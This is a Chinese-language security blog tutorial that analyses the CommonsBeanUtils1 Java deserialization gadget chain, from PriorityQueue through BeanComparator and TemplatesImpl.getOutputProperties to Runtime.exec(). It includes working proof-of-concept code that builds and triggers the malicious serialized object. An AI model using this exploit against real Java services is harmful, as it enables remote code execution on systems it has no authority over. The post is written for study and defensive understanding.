0x00 前言
CommonsBeanUtils1的链看了一下POC,确实思路很新奇,用了CommonsBeanUtils里面的PropertyUtils.getProperty方法去调用我们TemplatesImpl
里面的newTransformer方法,在cc3的那篇文章只讲了一种调用的思路,其实在newTransformer的上一层还有一个方法去调用newTransformer的:
那就是getOutputProperties
方法:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
而且CommonsBeanUtils1这条链就很巧妙去利用JavaBean的Setter和Getter调用完成,只能说这个作者思路确实牛。
0x01 分析过程
环境准备
调试工具:IDEA
Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
pom文件配置:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>groupId</groupId>
<artifactId>Java_code</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>cglib</groupId>
<artifactId>cglib</artifactId>
<version>3.3.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>com.beust</groupId>
<artifactId>jcommander</artifactId>
<version>1.48</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.11</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
前置知识
学习这条链之前我们需要有一些前置的知识,如果对TemplatesImpl
和PriorityQueue
的用法还没熟悉的话可以先去看CC2那篇文章,当然也可以去看网上的一些文章,只要能让你去快速理解的的文章都行,但是一定要弄懂中间的思路。
我们来看下PropertyUtils.getProperty是怎么使用的,因为这个类是在beanutils里面的所以叫做CommonsBeanUtils1链。
我们先新建一个User类:
public class UserInfo
{
private String userId;
private String userName;
public UserInfo()
{
}
public UserInfo(String userId, String userName)
{
this.userId = userId;
this.userName = userName;
}
public String getUserId()
{
return userId;
}
public void setUserId(String userId)
{
this.userId = userId;
}
public String getUserName()
{
return userName;
}
public void setUserName(String userName)
{
this.userName = userName;
}
@Override
public String toString()
{
return String.format("{userId:%s,userName:%s}", userId, userName);
}
}
然后新建一个测试类,这里有设计maven的知识,可以去学习一下:
import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test;
public class PropertyUtilsTest
{
@Test
public void test() throws Exception
{
UserInfo userInfo = new UserInfo("xiaoming", "小明");
System.out.println(PropertyUtils.getProperty(userInfo, "userName"));
}
}
整个流程下来的思路就是PropertyUtils.getProperty会通过传入的参数userName去userInfo对象中里面获取到getUserName的方法,所以CB1就是利用这个特性去调用getOutputProperties方法。
你们也可以去debug跟一下这个流程,主要起作用的是下面这方法:
它会走到getSimpleProperty方法,getReadMethod方法就是获取Bean的getUserName的方法,那么往下走就能看到使用反射的方式去调用我们的getUserName方法了:
} else {
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "'");
} else {
Method readMethod = this.getReadMethod(descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method");
} else {
Object value = this.invokeMethod(readMethod, bean, new Object[0]);
return value;
}
}
ok,这个分析完之后,这条链还会用到一个类叫做BeanComparator
,这个类的compare方法刚好是有调用到我们上面的PropertyUtils.getProperty。
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (Exception var5) {
throw new ClassCastException(var5.toString());
}
}
}
而且BeanComparator也符合我们PriorityQueue所需要的Comparator对象,因为它就是继承Comparator接口的。这个类其实没什么好讲的,他们的构造方法你可以传参数也可以不传参数:
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
this.comparator = comparator;
}
CommonsBeanUtils1分析
先给出我们的利用链:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
POC如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
setFieldValue(priorityQueue, "size", 2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(priorityQueue);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
老规矩,我们先走一遍不用反序列化的流程:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
beanComparator.compare(obj,obj);
}
}
这个是直接利用BeanComparator对象的compare方法,可以用里面的PropertyUtils.getProperty去调用TemplatesImpl的getOutputProperties,这样就算走完了整个触发流程。
我们还可以用PriorityQueue直接去调用反序列化里面的heapify方法,但是由于这个方法是私有的只能通过反射的方式去调用:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
setFieldValue(priorityQueue, "size", 2);
Class aClass = priorityQueue.getClass();
Method heapify = aClass.getDeclaredMethod("heapify");
heapify.setAccessible(true);
heapify.invoke(priorityQueue);
}
}
0x02 总结
其实从CC1开始学,到后面的链会越来越快,调用的方式和方法就那么的几个,只要熬过前面的基础,后面就可以很方法去调用了。所以大家学到反序列化这块一定要熬过前面的阶段,弄懂其中的原理。
0x03 参考
https://blog.knownsec.com/index.html%3Fp=3413.html
https://x-f1v3.github.io/blog/1620289251280.html
Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/commonsbeanutils1_chain_analysis.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。